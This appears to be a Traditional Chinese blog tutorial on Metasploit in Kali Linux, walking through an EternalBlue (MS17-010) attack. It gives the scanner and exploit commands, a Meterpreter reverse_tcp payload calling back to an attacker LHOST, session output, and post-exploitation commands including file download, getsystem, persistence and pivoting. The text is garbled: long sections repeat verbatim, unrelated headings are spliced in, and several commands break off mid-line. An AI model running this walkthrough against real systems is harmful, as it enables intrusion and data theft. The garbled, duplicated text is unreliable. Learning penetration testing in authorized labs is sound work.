駭客電影的真相:Metasploit是什麼?
# 帶著目的滲透:新手指南——在 Kali Linux 上利用 Metasploit 進行漏洞利用
唉,你會不會也這樣,某天看電影主角三兩下駭進銀行系統,螢幕上一排排密碼跳舞,結果自己電腦打開連命令列都還沒記熟。對啦,其實大部分那些畫面都浮誇得可以,但背後的原理——什麼叫做發現漏洞、怎麼利用它們——卻真有那麼一回事。而且啊,如果你是想走道德駭客這條路(說真的,黑帽子還要承擔一堆風險),**Metasploit Framework** 幾乎一定聽過吧?沒聽過也沒關係,我也是拖超久才認真碰它。
今天這份指南就來聊聊,在 **Kali Linux** 這套幾乎快變成資安人拜物的作業系統上,要怎麼靠 Metasploit 開始你的滲透「探險」。嗯,不要太緊張,也不是誰都生來就是大神,只是希望多一點範例、多一點拆解,好讓人少繞冤枉路而已——其實我寫到一半突然想到昨晚夢到自己忘了打卡,差點嚇醒,但回來拉回主題:希望你用負責任的方式學東西,不要害人。
> **免責聲明:** 本文純屬教育參考。想試任何滲透測試之前,你一定得先拿到授權,不然觸法又違反倫理,講真的誰愛惹麻煩?
## 什麼是 Metasploit Framework?
呃……Metasploit 到底算啥?有些人喜歡把它比作駭客界的瑞士刀,我倒覺得像一本偷拐搶騙藍圖大全。由 Rapid7 經手開發,它本質是一套開源框架,專為各種滲透測試設計;當然啦,不只有單純攻擊功能,它的平台能做哪些事?簡單舉幾個重點:
- **資訊蒐集:** 可以幫助你搜羅目標系統的所有線索與蛛絲馬跡。
對不起剛剛差點碎念太多,其實光學習怎麼收集資料就能折騰很久,有時候熬夜查 log 查到眼花,好吧──還是趕緊繼續往下講正題。
唉,你會不會也這樣,某天看電影主角三兩下駭進銀行系統,螢幕上一排排密碼跳舞,結果自己電腦打開連命令列都還沒記熟。對啦,其實大部分那些畫面都浮誇得可以,但背後的原理——什麼叫做發現漏洞、怎麼利用它們——卻真有那麼一回事。而且啊,如果你是想走道德駭客這條路(說真的,黑帽子還要承擔一堆風險),**Metasploit Framework** 幾乎一定聽過吧?沒聽過也沒關係,我也是拖超久才認真碰它。
今天這份指南就來聊聊,在 **Kali Linux** 這套幾乎快變成資安人拜物的作業系統上,要怎麼靠 Metasploit 開始你的滲透「探險」。嗯,不要太緊張,也不是誰都生來就是大神,只是希望多一點範例、多一點拆解,好讓人少繞冤枉路而已——其實我寫到一半突然想到昨晚夢到自己忘了打卡,差點嚇醒,但回來拉回主題:希望你用負責任的方式學東西,不要害人。
> **免責聲明:** 本文純屬教育參考。想試任何滲透測試之前,你一定得先拿到授權,不然觸法又違反倫理,講真的誰愛惹麻煩?
## 什麼是 Metasploit Framework?
呃……Metasploit 到底算啥?有些人喜歡把它比作駭客界的瑞士刀,我倒覺得像一本偷拐搶騙藍圖大全。由 Rapid7 經手開發,它本質是一套開源框架,專為各種滲透測試設計;當然啦,不只有單純攻擊功能,它的平台能做哪些事?簡單舉幾個重點:
- **資訊蒐集:** 可以幫助你搜羅目標系統的所有線索與蛛絲馬跡。
對不起剛剛差點碎念太多,其實光學習怎麼收集資料就能折騰很久,有時候熬夜查 log 查到眼花,好吧──還是趕緊繼續往下講正題。
Kali Linux預設利器,為何安全圈都用它?
- **弱點掃描(Vulnerability Scanning):** 這部分負責去找出軟體和設定裡面的那些藏著的、容易被攻擊的缺口。不過說真的,有時候覺得怎麼掃都還是會漏掉什麼,腦子又開始飄走。嗯,還是回來,總之這步驟就是辨識弱點啦。
- **利用(Exploitation):** 然後啊,就是要寫些…算了,其實也不只是自己寫,用現成的也行——反正重點是把可以用的程式碼丟上去,好獲取對方的存取權限。有時候失敗一堆次才中一次,很煩。
- **有效負載傳遞(Payload Delivery):** 成功之後,下一步就變成要送惡意程式碼進去目標系統。唉,這聽起來很冷酷,但事實如此。如果payload沒送好,一切都白費力氣。對了,我剛剛喝水差點嗆到,不管啦繼續講。
- **後滲透階段(Post-Exploitation):** 進去了之後,也不是就結束喔,還要想辦法維持那個權限、甚至再往上爬看看能不能提升管理權限,再摸索一下被入侵系統裡有什麼寶貝。常常一邊操作腦子已經在想晚餐吃什麼。
Metasploit 採用模組化設計,所以它其實就像一堆拼圖,每塊拼圖各司其職,被稱為「模組」。我每次用到不同任務,都會挑出不同模組,就像抽屜裡翻工具那種感覺啦。不過講太細應該沒人想聽吧?嗯…拉回來,我們稍後會介紹一些比較重要的模組。
## 為什麼在 Kali Linux 上使用 Metasploit?
Kali Linux 其實就是一個基於 Debian 的發行版,它專門給滲透測試跟數位鑑識調查的人用。我老實說,一大優勢就是 Kali 裡面 Metasploit 已經安裝好了,不用再慢慢折騰配置啥的。有次手殘砍掉環境差點崩潰,唉,不提也罷。另外它還有很多能跟 Metasploit 配合的小工具,所以有些資安工程師才會覺得這環境蠻順手。
## 入門指南:建立你的操作環境
如果你現在就在用 Kali Linux,大多時候系統已經預設包括 Metasploit,其實不用特別再裝一次。有時候看到有人問怎麼安裝,都忍不住想提醒他直接找找看是不是早就裝在裡面了欸。不過話說回來,如果真的沒有,那可能需要自己動手弄,好麻煩…但新手嘛,也只能硬著頭皮上了。
Comparison Table:
步驟 | 內容 |
---|---|
1. 選擇 Payload | 使用 `windows/x64/meterpreter/reverse_tcp` 作為 payload,讓目標主機連回攻擊者的 Kali Linux。 |
2. 設定 LHOST 和 LPORT | 確保正確填寫攻擊者的 IP (LHOST) 和埠號 (LPORT),避免因錯誤設定導致漏洞利用失敗。 |
3. 執行漏洞利用 | 透過 `exploit` 指令啟動漏洞利用,若成功將進入 Meterpreter 工作階段。 |
4. 使用 Meterpreter 進行滲透 | 可使用各種指令如 sysinfo、getuid、download 等,以獲取系統資訊和檔案。 |
5. 倫理考量與最佳實踐 | 務必獲得授權後再進行滲透測試,並保持工具更新以免遭遇新漏洞時無法應對。 |

環境部署小失誤、更新和資料庫陷阱
.嗯,更新 Kali Linux 這事…其實誰不會拖延啊?說是「建議」,但每次沒做完就覺得怪怪的。總之,在你真的要開始之前,還是乖乖確定手上的 Kali Linux 是最新版,省掉後面一堆鳥事。打開終端機後,就敲下:
sudo apt update && sudo apt upgrade -y
然後等它跑。有時候會卡很久,其實蠻煩的,不過更新列表跟已安裝套件這種基礎工作別偷懶,免得踩雷。
唉,我常常在這邊走神,看著進度條發呆——拉回來。下一步其實是初始化 Metasploit 的資料庫。Metasploit 主要靠 PostgreSQL 記錄主機、服務和漏洞那些雜七雜八的資訊。如果沒啟用資料庫,用起來就是斷手斷腳那種感覺。有點無趣又不得不做。
sudo msfdb init
執行以後,它會自動幫你建好需要的資料表啊、帳戶什麼的,那串訊息有時候看了也搞不清楚哪裡出錯,只希望不要跳出紅字吧。(我上次好像就遇到一次…)
搞定之後,要真正在 Metasploit 裡折騰東西,就是啟動控制台(msfconsole),平常講半天,其實大家都只記住那個命令:
msfconsole
按下去大概會秀個招牌 ASCII 圖案,然後看到 `msf6 >` 這行(版本如果不同也別太糾結)。這畫面就是你的操作戰場,接下來所有指令亂丟都在這裡解決啦。
對了,Metasploit 有一些基本術語很容易混淆。我以前也是死背才慢慢記熟,比如 Exploits(攻擊程式)——顧名思義,就是拿來針對某個特定軟體、作業系統或硬體漏洞,把握機會利用。不過有時候名稱和功能又差了一層意思,好討厭。
話說講到 Exploit 就想起前陣子朋友問我要怎麼分辨哪些模組該用在哪,有點難解釋欸……但先放著,下次再聊吧!
sudo apt update && sudo apt upgrade -y
然後等它跑。有時候會卡很久,其實蠻煩的,不過更新列表跟已安裝套件這種基礎工作別偷懶,免得踩雷。
唉,我常常在這邊走神,看著進度條發呆——拉回來。下一步其實是初始化 Metasploit 的資料庫。Metasploit 主要靠 PostgreSQL 記錄主機、服務和漏洞那些雜七雜八的資訊。如果沒啟用資料庫,用起來就是斷手斷腳那種感覺。有點無趣又不得不做。
sudo msfdb init
執行以後,它會自動幫你建好需要的資料表啊、帳戶什麼的,那串訊息有時候看了也搞不清楚哪裡出錯,只希望不要跳出紅字吧。(我上次好像就遇到一次…)
搞定之後,要真正在 Metasploit 裡折騰東西,就是啟動控制台(msfconsole),平常講半天,其實大家都只記住那個命令:
msfconsole
按下去大概會秀個招牌 ASCII 圖案,然後看到 `msf6 >` 這行(版本如果不同也別太糾結)。這畫面就是你的操作戰場,接下來所有指令亂丟都在這裡解決啦。
對了,Metasploit 有一些基本術語很容易混淆。我以前也是死背才慢慢記熟,比如 Exploits(攻擊程式)——顧名思義,就是拿來針對某個特定軟體、作業系統或硬體漏洞,把握機會利用。不過有時候名稱和功能又差了一層意思,好討厭。
話說講到 Exploit 就想起前陣子朋友問我要怎麼分辨哪些模組該用在哪,有點難解釋欸……但先放著,下次再聊吧!
模組解構:exploit與payload到底差在哪?
.- **有效負載(Payloads):** 嗯,其實這玩意兒就是你攻擊人家的系統,終於溜進去、搞到存取權後,趁機偷偷塞進去的那一串壞東西啦。像反向殼(reverse shells),就會讓你在目標電腦裡頭開個門,好拿到命令提示字元跟他聊天(?);然後還有什麼 Meterpreter,也是蠻狠,有互動又高級。唉,我常常在想,寫這些東西的人到底都怎麼睡得著啊。不過話說回來,有效負載類型其實還不少,重點是得讓它能執行才算數。
- **輔助模組(Auxiliary Modules):** 說穿了,就是專門搞偵查和側面作業的傢伙。有時候拿來掃描、有時候是做 fuzzing 或亂七八糟的資訊蒐集。但通常也不會直接把漏洞打爆,就只是幫你鋪路而已。嗯,我剛剛是不是講太多廢話了?不管啦,掃描工具真的偶爾很沒存在感,可是又不能少。
- **後滲透模組(Post-Exploitation Modules):** 唉呦,終於混進去了對吧?接下來用這類模組才是真功夫啊。它們主要是幫你穩住腳步,比如維持連線、升權限之類;另外還可以順便挖資料,看有沒有什麼小祕密被遺忘。我偶爾會懷疑自己記憶力是不是也需要模組升級一下,但無論如何,滲透不是結束,只是另一場混戰開始。
- **編碼器(Encoders):** 欸,你以為丟 payload 就沒事嗎?錯!防毒軟體可精明得要命,所以只好靠 encoder 幫忙,把原本的 payload 轉個彎包裝起來,希望能繞過那些喋喋不休的殺毒工具。有時候我懷疑,他們彼此就是永遠在追逐與逃脫中輪迴,好累。
- **Nops(No Operation 指令):** 說來玄妙,就是插點「啥也不做」的小指令,為什麼呢?原來是在緩衝區溢位那種窘境下,可以避免你的 payload 被莫名截斷或毀掉。有點像安全氣囊那樣,不知哪天突然會救你一命。啊…我是不是又扯遠了?
## 實作範例:利用一項漏洞進行攻擊(範例:MS17–010 EternalBlue)
![]
MS17–010 俗稱 EternalBlue,如果有在資訊安全圈混過,大概很難沒聽過它吧。這傢伙超紅,也害慘過全世界一堆人,被 WannaCry 勒索軟體大肆利用成災——想起 2017 年那波簡直惡夢重現。我突然想到,那陣子新聞每天報,不然現在可能年輕人根本不知道 MS17–010 是啥。不過雖然多數系統都補丁修好了,可學習流程倒挺有參考價值。
**目標環境設定:**
一般演示都是拉個 Metasploitable2 或弄台 Windows 7/Server 2008 R2 虛擬機啦——當然,是刻意留洞給人練手的那種主機。如果有人真的拿去亂搞別人的生產環境,那可真的是腦袋進水喔。所以必須強調一句,只能玩自己家裡或明確授權的平台!
假設目標主機 IP 位址就定成 `192.168.1.105` 吧——隨便舉例,不要太認真地問來源好嗎?
**步驟一:資訊蒐集與掃描(輔助模組)**
欸,你總不能閉著眼睛亂打一通對吧?第一步肯定先檢查一下對方有沒有 MS17–010 那個洞,要嘛白忙一場誰受得了。【注意事項】, 啊抱歉差點岔題,其實這段純粹就是提醒用途,不用抄到正式內容裡面,但每次看到警語還是忍不住嘀咕兩句。

永恆之藍掃描流程雜談與目標偵測趣事
Metasploit 其實有個專門做這件事的 auxiliary 模組啦,雖然我剛剛一度想不起來名字……總之,如果你在 msf6 介面下打
msf6 > search ms17-010
嗯,這串指令會把跟 MS17–010 有關的所有模組一股腦兒列出來,有時候太多選項還真讓人猶豫。你大致上會看到一個 scanner 模組,它名字很直白。
msf6 > use auxiliary/scanner/smb/smb_ms17_010
然後咧,你要先設好目標 IP 位址,再動手跑掃描才行,不然什麼都不會發生(廢話)。
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.105
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
欸對,如果目標真的有漏洞,那畫面就會跳出「The target is vulnerable.」這句話。講到這邊突然想到,上次因為打錯 IP 卡超久,好煩。
說到 Exploit 的部分,接下來就是步驟 2,等你確定那台機器有洞之後才能繼續。不過剛剛差點忘了主題…回頭說,在 msf6 裡可以挑 exploit 模組。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
下一步,要去設那些參數啦。有時候指令太長我還是得查一下文件,其實蠻煩的,可以用 `show options` 看看需要調什麼。
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
通常啦,就是把 `RHOSTS` 設成目標 IP,再選一個合適的 `PAYLOAD` 就可以了。只是每次設定 payload 都忍不住懷疑自己是不是哪裡填錯……
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.105
msf6 > search ms17-010
嗯,這串指令會把跟 MS17–010 有關的所有模組一股腦兒列出來,有時候太多選項還真讓人猶豫。你大致上會看到一個 scanner 模組,它名字很直白。
msf6 > use auxiliary/scanner/smb/smb_ms17_010
然後咧,你要先設好目標 IP 位址,再動手跑掃描才行,不然什麼都不會發生(廢話)。
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.105
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
欸對,如果目標真的有漏洞,那畫面就會跳出「The target is vulnerable.」這句話。講到這邊突然想到,上次因為打錯 IP 卡超久,好煩。
說到 Exploit 的部分,接下來就是步驟 2,等你確定那台機器有洞之後才能繼續。不過剛剛差點忘了主題…回頭說,在 msf6 裡可以挑 exploit 模組。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
下一步,要去設那些參數啦。有時候指令太長我還是得查一下文件,其實蠻煩的,可以用 `show options` 看看需要調什麼。
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
通常啦,就是把 `RHOSTS` 設成目標 IP,再選一個合適的 `PAYLOAD` 就可以了。只是每次設定 payload 都忍不住懷疑自己是不是哪裡填錯……
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.105
選擇合適攻擊模組時你會卡關嗎?細節提醒
**步驟 3:選擇 Payload**
Payload 就是——嗯,怎麼講,就是你想讓受害主機做的那件事吧。最常見的大概還是 reverse shell。反正它會讓目標主機自己連回來你的 Kali Linux(欸我上次差點打錯 IP 超麻煩),然後你就能拿到一個 shell 介面,算是開始「入侵」的第一步。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
為什麼要用 `windows/x64/meterpreter/reverse_tcp`?這名字長到有點煩,但每段都有意義:
- `windows/x64` 表示這 payload 給 64 位元 Windows 系統用;不是 x86 喔,不要搞錯。
- `meterpreter` 是一種比較高階、藏在記憶體裡跑的 payload。它比單純的 shell 更靈活,有很多內建工具可以玩,比如截圖什麼的(不過誰會真的去截別人桌面啊…)。
- 然後 `reverse_tcp` 嘛,就是說連線方式是由目標端反過來主動連回攻擊者。這樣設計通常比較容易躲過防火牆或 NAT 的限制,大致如此。不過偶爾也有失敗啦,唉。
下一步,就是把 payload 要連去哪裡設定清楚。不設好等於白忙一場。我總是在 LHOST 和 LPORT 填錯東西…大腦卡住時很容易。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100 # 換成自己的 Kali Linux IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
對了,有時候設定完還是很沒安全感,那就再下一次 `show options` 指令看全部參數是不是都 ok。其實很多人第一次都會漏掉某個細節,像 IP 寫錯、埠號重複之類,很惱人,可偏偏就是這種小地方最浪費時間。
**步驟 4:Exploit!**
好吧,就這樣,一切備妥之後——理論上啦,你已經可以準備開幹了。
Payload 就是——嗯,怎麼講,就是你想讓受害主機做的那件事吧。最常見的大概還是 reverse shell。反正它會讓目標主機自己連回來你的 Kali Linux(欸我上次差點打錯 IP 超麻煩),然後你就能拿到一個 shell 介面,算是開始「入侵」的第一步。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
為什麼要用 `windows/x64/meterpreter/reverse_tcp`?這名字長到有點煩,但每段都有意義:
- `windows/x64` 表示這 payload 給 64 位元 Windows 系統用;不是 x86 喔,不要搞錯。
- `meterpreter` 是一種比較高階、藏在記憶體裡跑的 payload。它比單純的 shell 更靈活,有很多內建工具可以玩,比如截圖什麼的(不過誰會真的去截別人桌面啊…)。
- 然後 `reverse_tcp` 嘛,就是說連線方式是由目標端反過來主動連回攻擊者。這樣設計通常比較容易躲過防火牆或 NAT 的限制,大致如此。不過偶爾也有失敗啦,唉。
下一步,就是把 payload 要連去哪裡設定清楚。不設好等於白忙一場。我總是在 LHOST 和 LPORT 填錯東西…大腦卡住時很容易。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100 # 換成自己的 Kali Linux IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
對了,有時候設定完還是很沒安全感,那就再下一次 `show options` 指令看全部參數是不是都 ok。其實很多人第一次都會漏掉某個細節,像 IP 寫錯、埠號重複之類,很惱人,可偏偏就是這種小地方最浪費時間。
**步驟 4:Exploit!**
好吧,就這樣,一切備妥之後——理論上啦,你已經可以準備開幹了。

LHOST/LPORT設定那些令人抓頭的小困惑
其實有時候設定那麼多選項,反而讓人有點頭昏腦脹,不過都設好之後,就可以直接開始漏洞利用了。唉,這步驟其實沒什麼神祕的,就是下指令而已啦——
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
然後,如果一切順利,螢幕上會跳出顯示正在運行漏洞利用的消息。有時候還會等一下才會看到 `meterpreter >` 的提示符。欸,我剛剛突然想到之前網路斷線差點卡在這裡,真是哭笑不得,但拉回來說…
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.105:445 - The target is vulnerable.
...
[+] 192.168.1.105:445 - Detected OS: Windows 7 Professional 6.1 Service Pack 1
...
[*] Sending stage (179779 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.105:49156) at 2025-06-19 22:45:38 +0530
嗯,好吧,看起來現在你應該已經在目標電腦上開了一個 Meterpreter 工作階段了。
## 用 Meterpreter 做後續滲透
Meterpreter 功能超級多,到底要從哪裡玩起呢?大概先試試幾個基本指令吧,其實每次進去我都忍不住先打 `sysinfo` 啊(不知道是不是強迫症)。總之,在 `meterpreter >` 的狀態下,可以弄這些事情:
- **`sysinfo`**:拿到受控端系統資訊。
- **`getuid`**:查一下目前帳號是哪個。
- **`pwd`**:看一下自己現在在哪個資料夾。
- **`ls`**:列出當前目錄檔案,有時候意外挖到寶也說不定?
- **`download`**:想把對方機器上的檔案存回自己本地就用這個。不過有些防毒軟體很煩…
- **`upload`**:把檔案丟進去也是一句話的事。
唉,每次寫到這邊都覺得,好像理論很簡單,可是真的操作卻常常卡在一些莫名其妙的小細節。有需要再往下深究吧,大概就是如此。
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
然後,如果一切順利,螢幕上會跳出顯示正在運行漏洞利用的消息。有時候還會等一下才會看到 `meterpreter >` 的提示符。欸,我剛剛突然想到之前網路斷線差點卡在這裡,真是哭笑不得,但拉回來說…
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.105:445 - The target is vulnerable.
...
[+] 192.168.1.105:445 - Detected OS: Windows 7 Professional 6.1 Service Pack 1
...
[*] Sending stage (179779 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.105:49156) at 2025-06-19 22:45:38 +0530
嗯,好吧,看起來現在你應該已經在目標電腦上開了一個 Meterpreter 工作階段了。
## 用 Meterpreter 做後續滲透
Meterpreter 功能超級多,到底要從哪裡玩起呢?大概先試試幾個基本指令吧,其實每次進去我都忍不住先打 `sysinfo` 啊(不知道是不是強迫症)。總之,在 `meterpreter >` 的狀態下,可以弄這些事情:
- **`sysinfo`**:拿到受控端系統資訊。
- **`getuid`**:查一下目前帳號是哪個。
- **`pwd`**:看一下自己現在在哪個資料夾。
- **`ls`**:列出當前目錄檔案,有時候意外挖到寶也說不定?
- **`download`**:想把對方機器上的檔案存回自己本地就用這個。不過有些防毒軟體很煩…
- **`upload
唉,每次寫到這邊都覺得,好像理論很簡單,可是真的操作卻常常卡在一些莫名其妙的小細節。有需要再往下深究吧,大概就是如此。
EternalBlue攻擊實戰走一遍,Meterpreter初體驗混亂紀錄
- **`shell`**:嗯,這個就是進到原生的命令殼層。像 Windows 就是 `cmd.exe`,Linux 則是 `bash`,你就突然被丟進去一個熟悉又陌生的環境,有點像走錯房間那種感覺。
- **`background`**:把目前這個工作階段送回 `msfconsole` 背景執行,欸我每次用都怕自己會忘記已經開了幾個,不小心全部放在背景裡頭…。
- **`sessions -l`**:這指令其實滿單純,就是把所有現在活動中的 session 都列出來。不過有時候會漏看自己搞出多少連線,好煩。
- **`sessions -i
- **`ps`**:它就是把當前正在跑的程序全部列給你看。有時候清單超長,看得頭都暈了,不過必要時還是得翻一下。欸對,有些程式名很奇怪,一看就想查一下是啥鬼東西。
- **`migrate
- **`getsystem`**:這個…就是努力升級權限,在 Windows 上想辦法變成 SYSTEM 權限。不過老實說,有時候失敗也很正常啦,總之遇到不給過就摸摸鼻子重來吧。
舉個例子,如果你在 Meterpreter 下打:
meterpreter > sysinfo
meterpreter > shell
系統就會丟給你一個標準命令提示字元介面,那種畫面突然黑掉只剩下一排提示符號的孤寂感。有時候敲著敲著會忘記怎麼回去,其實只要在那個殼層裡輸入 `exit` 就能退回原本的 Meterpreter 啦(雖然我以前還真卡住過)。
## 最佳實踐與倫理考量
- **務必取得授權:** 千萬、真的千萬不要對非自家系統動手,也絕對不能沒明確書面同意就碰 Metasploit 或其他駭客工具。我知道有些人喜歡玩刺激,可…別鬧事好嗎?反正講到最後,道德底線還是得守住,不然後果通常很難收拾啊。

殘留現場:後滲透能玩什麼把戲(命令雜記)
唉,有時候老實講,利用漏洞這回事真的很容易讓系統直接爆掉,然後你就會看著螢幕發呆想說「怎麼又這樣?」。總之吧,在一個控制得住的環境裡面先練習測試比較好,不然出問題了也不至於整台主機報廢,感覺才比較安心。其實我每次弄都很怕自己哪天手滑…嗯,好啦拉回來。
欸,你如果真的想開始搞這些東西,大概可以從 Metasploitable2 或 Metasploitable3 這種專門拿來被打爆的虛擬機器下手。它們本來就是設計給人練習用的,所以不用太有罪惡感(反正壞掉重灌而已嘛)。有時我還在想,如果真有人把它裝在正式環境,那可真是…呃,算了別亂猜。
對了,我覺得根基沒打穩直接衝複雜攻擊也不太妥當。還是要先把網路、作業系統運作原理跟常見漏洞搞懂再說。不過說真的,有時候光那些底層知識就夠人頭大。嗯…突然想到那次我研究 TCP/IP 協議頭差點睡著——咳,好吧,再回到主題。
Kali Linux 跟 Metasploit Framework 一定要保持最新狀態喔,不然用舊版本遇到新漏洞時根本抓不到,而且修補什麼的也是靠更新才補得上。有空就執行一下 `sudo msfupdate`,啊,每次跑完看到一堆字閃過去都莫名有成就感,可是不知道是不是只有我會分心盯著進度條看。
然後還有一件事超重要,就是你做滲透測試的時候步驟千萬記清楚,不要以為自己記憶力很好結果過兩天全忘光。我之前甚至連指令輸入錯誤都寫下來(其實很丟臉),但到後來查證據或還原流程的時候就特別慶幸有留紀錄——噢,我又離題了,總之筆記要勤勞點啦!
## 進階應用
話說現在只是簡單介紹罷了,其實 Metasploit 可以玩的花樣多得嚇死人。例如像針對瀏覽器或各種客戶端應用程式去挖漏洞(真的超刺激),或者動歪腦筋搞無線網路攻擊,那 Wi-Fi 安全性比大家以為的脆弱多了。另外也能直接嘗試資料庫存取權限提升,看數據庫守得牢不牢。我曾經一度卡死在提權操作上,就是那種明明帳號權限低得可憐卻硬是想往上爬,失敗十次以上吧?人生啊,有點累,但破解成功瞬間其實滿爽快。
練功指南、倫理底線以及社群資源推坑
- **持久性(Persistence):** 其實有時候想想,為什麼攻擊者老愛糾纏一個系統?唉,大概就是建立某種門路,這樣他們隨時又能溜進來。總之,就是想辦法日後還可以重新取得對那台已經被入侵的系統的存取權限啦。有點像你在朋友家偷偷留一把鑰匙在花盆下——嗯,不過這比喻好像太輕描淡寫了。
- **橫向移動(Pivoting):** 嗯……有些人會把攻陷一台主機當作「跳板」,反正既然都進得來了,就不安於現狀嘛。然後他們就利用那台中招的主機去碰其他網路上的系統,再展開新的一輪攻擊。這邏輯真的蠻煩人的。不過欸,如果換個角度想,也算是技術層面的某種創意?啊,離題了,總之這動作就是讓威脅擴散得更廣。
如果你懶得聽我囉嗦,或者說真的很想深究,可以直接去看 OffSec 官方的 Metasploit Unleashed 課程吧。我沒收廣告費,但它確實免費又蠻受推崇,網址給你:[https://www.offsec.com/metasploit-unleashed/]。我自己看了一次頭也痛,不過內容挺硬派。
## 結論
講到 Kali Linux 上那個 Metasploit Framework,其實…嗯,你要說它多厲害也不是空穴來風啦。很多道德駭客、資安圈的人靠它搞出不少應用潛力。有時候我也會懷疑,到底是框架厲害還是人腦壞得快?但撇開碎念不談,只要你懂核心組件怎麼運作,加上負責任地練習操作,那對於了解系統可能遭遇到哪些攻擊手法會很有幫助。而且更重要的是——欸,我常常差點忘記提醒大家——你才有辦法強化自己的防護措施。
唔,有句話雖然聽起來老掉牙,但還是忍不住再重複一次:「能力越大、責任越重」吧。建議你學會技能以後還是拿去做善事,增強資訊安全,而不是胡亂搞破壞。我知道有人看到工具都手癢,不過數位世界夠亂了,別再添亂。如果願意走資安領域,希望你好好探索,只記得合規與倫理真的是前提,不然遲早踩雷。
